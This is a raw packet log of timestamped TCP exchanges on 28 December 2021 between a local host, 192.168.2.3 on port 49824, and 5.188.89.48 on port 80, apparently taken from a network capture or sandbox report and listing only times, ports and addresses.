Dec 28, 2021 05:19:29.391823053 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391850948 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391870022 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391886950 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.391910076 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391966105 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.391988039 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392024994 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392081022 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392096043 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392138004 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392188072 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392227888 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392262936 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392267942 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392309904 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392311096 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392349005 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392373085 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392388105 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392425060 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392463923 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392491102 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392501116 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392540932 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392545938 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392581940 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392601967 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392620087 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392659903 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392689943 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392698050 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392735958 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392774105 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392802954 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392812014 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392859936 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392874956 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392919064 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392942905 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.392959118 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.392996073 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393034935 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393069029 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393074036 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393114090 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393120050 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393152952 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393191099 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393193960 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393230915 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393248081 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393273115 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393300056 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393315077 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393354893 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393373966 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393390894 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393418074 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393440008 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393459082 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393488884 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393497944 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393517017 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393537045 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393568039 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393578053 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393606901 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393619061 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393646002 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393657923 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393681049 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393697023 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393719912 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393737078 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393758059 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393779039 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.393791914 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.393835068 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.423333883 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.456794024 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.456873894 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.456919909 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.456934929 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.456964970 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457007885 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457022905 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457042933 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457084894 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457138062 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457156897 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457191944 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457214117 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457252979 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457263947 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457304001 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457323074 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457360983 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457377911 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457408905 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457431078 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457454920 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457482100 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457514048 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457531929 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457560062 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457577944 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457603931 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457632065 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457659960 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457686901 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457705975 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457720995 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457745075 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457762003 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457786083 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457802057 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457837105 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457844019 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457895041 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457901955 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457935095 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457957983 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.457973957 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.457992077 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458029985 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458034039 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458071947 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458111048 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458125114 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458149910 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458163977 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458189964 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458199024 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458219051 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458230972 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458264112 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458268881 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458304882 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458312988 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458338976 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458352089 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458379984 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458389997 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458432913 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458471060 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458484888 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458530903 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458543062 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458575010 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458599091 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458631992 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458653927 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458668947 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458709002 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458718061 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458765030 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458775043 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458818913 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458827019 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458875895 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458883047 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458930969 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458945990 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.458986044 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.458992004 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459042072 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459049940 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459096909 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459105015 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459160089 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459181070 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459247112 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459289074 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459347010 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459362984 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459402084 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459412098 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459456921 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459466934 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459513903 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459527969 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459568977 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459587097 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459625959 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459630966 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459681988 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459698915 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459739923 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459757090 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459788084 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459805965 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459834099 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459851980 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459892035 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459903955 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.459950924 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.459975004 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460006952 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460020065 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460066080 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460083961 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460119009 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460149050 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460160971 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460186005 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460201025 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460235119 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460239887 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460262060 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460283041 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460311890 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460339069 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460351944 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460395098 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460412025 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460447073 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460455894 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460490942 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460511923 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460530043 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460553885 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460571051 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460594893 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460608006 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460633039 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460650921 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460671902 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460706949 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460714102 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460757971 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460777998 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460814953 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460825920 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460886955 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.460889101 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460943937 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.460999012 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461009026 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461049080 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461059093 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461101055 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461108923 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461155891 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461159945 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461206913 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461210966 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461256981 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461275101 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461311102 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461318970 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461363077 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461400986 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461420059 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461437941 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461481094 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461497068 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461536884 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461546898 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461594105 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461601973 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461647034 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461658001 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461699963 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461710930 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461755037 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461771011 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461807013 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461818933 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461862087 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461869955 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461920023 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461936951 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.461976051 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.461982965 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.462033987 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.462044001 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.462090969 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.462097883 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.462150097 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.462160110 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.462203026 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.462219954 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.462260962 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.462321043 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.462470055 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.462527990 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.465071917 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.486378908 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526053905 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526088953 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526144981 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526163101 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526184082 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526201963 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526223898 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526247025 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526262999 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526273966 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526302099 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526303053 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526312113 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526328087 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526333094 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526355982 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526379108 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526397943 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526403904 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526426077 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526432037 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526457071 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526480913 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526503086 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526514053 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526531935 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526539087 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526561975 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526585102 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526591063 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526608944 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526633978 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526654005 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526659966 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526684999 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526698112 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526710033 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526734114 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526758909 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526776075 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526786089 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526793957 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526813030 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526837111 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526859999 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526875973 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526884079 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526911974 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526913881 CET	49824	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:29.526936054 CET	80	49824	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:29.526959896 CET	80	49824	5.188.89.48	192.168.2.3
